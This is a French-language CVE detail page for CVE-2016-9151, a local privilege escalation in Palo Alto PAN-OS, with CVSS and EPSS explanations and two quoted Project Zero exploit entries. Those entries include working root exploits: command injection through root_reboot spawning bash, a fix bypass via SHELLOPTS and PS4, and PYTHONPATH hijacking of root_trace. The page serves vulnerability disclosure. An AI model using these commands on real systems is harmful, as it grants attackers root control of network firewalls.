CVE-2016-9151 : Détail

CVE-2016-9151

7.8
/
Haute
A01-Broken Access Control
0.08%V3
Local
2016-11-19
05h29 +00:00
2020-02-17
15h03 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Palo Alto Networks PAN-OS before 5.0.20, 5.1.x before 5.1.13, 6.0.x before 6.0.15, 6.1.x before 6.1.15, 7.0.x before 7.0.11, and 7.1.x before 7.1.6 allows local users to gain privileges via crafted values of unspecified environment variables.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 40789

Date de publication : 2016-11-17 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=913 This was fixed by PAN: http://securityadvisories.paloaltonetworks.com/Home/Detail/67 The root_reboot utility is setuid root, but performs multiple calls to system() with attacker controlled data, such as this one: .text:0804870F C7 44 24 04 78+ mov dword ptr [esp+4], offset aUsrLocalBinPan ; "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 "... .text:08048717 89 04 24 mov [esp], eax ; char ** .text:0804871A E8 0D FE FF FF call _asprintf .text:0804871F 8B 45 E8 mov eax, [ebp+new] .text:08048722 85 C0 test eax, eax .text:08048724 0F 84 B9 01 00+ jz loc_80488E3 .text:0804872A 89 04 24 mov [esp], eax ; command .text:0804872D E8 9A FD FF FF call _system Which is trying to do this: if (setuid(0) < 0) { fprintf(stderr, "%s: Can't setuid to reboot system\n"); } if (reason) { asprintf(&new, "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 -m \"The system is shutting down due to %s.\"", reason); system(new); free(new); } This is trivially exploitable, for example: $ ls -l /usr/local/bin/root_reboot -rwsr-xr-x 1 root root 16275 Oct 17 2014 /usr/local/bin/root_reboot $ root_reboot --restart '"; bash -i; echo "' # id uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin) Palo Alto pointed out that they had already fixed this bug in an update that I needed to apply: https://securityadvisories.paloaltonetworks.com/Home/Detail/45 However, looking at the fix they had essentially just checked that each character in the "reason" parameter was alphanumeric or white space. This does not prevent exploitation, you can just do this: $ env SHELLOPTS=xtrace PS4='$(id)' root_reboot --restart whatever uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)
Exploit Database EDB-ID : 40788

Date de publication : 2016-11-17 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=912 The setuid root executable /usr/local/bin/root_trace essentially just does setuid(0) then system("/usr/local/bin/masterd"), which is a python script: $ ls -l /usr/local/bin/root_trace -rwsr-xr-x 1 root root 12376 Oct 17 2014 /usr/local/bin/root_trace As the environment is not scrubbed, you can just do something like this: $ cat /tmp/sysd.py import os os.system("id") os._exit(0); $ PYTHONPATH=/tmp root_trace uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin) This was fixed by PAN: http://securityadvisories.paloaltonetworks.com/Home/Detail/67

Products Mentioned

Configuraton 0

Paloaltonetworks>>Pan-os >> Version From (including) 5.0.0 To (excluding) 5.0.20

Paloaltonetworks>>Pan-os >> Version From (including) 5.1 To (excluding) 5.1.13

Paloaltonetworks>>Pan-os >> Version From (including) 6.0.0 To (excluding) 6.0.15

Paloaltonetworks>>Pan-os >> Version From (including) 6.1.0 To (excluding) 6.1.15

Paloaltonetworks>>Pan-os >> Version From (including) 7.0.0 To (excluding) 7.0.11

Paloaltonetworks>>Pan-os >> Version From (including) 7.1.0 To (excluding) 7.1.6

Références

https://www.exploit-db.com/exploits/40789/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/40788/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/94400
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1037381
Tags : vdb-entry, x_refsource_SECTRACK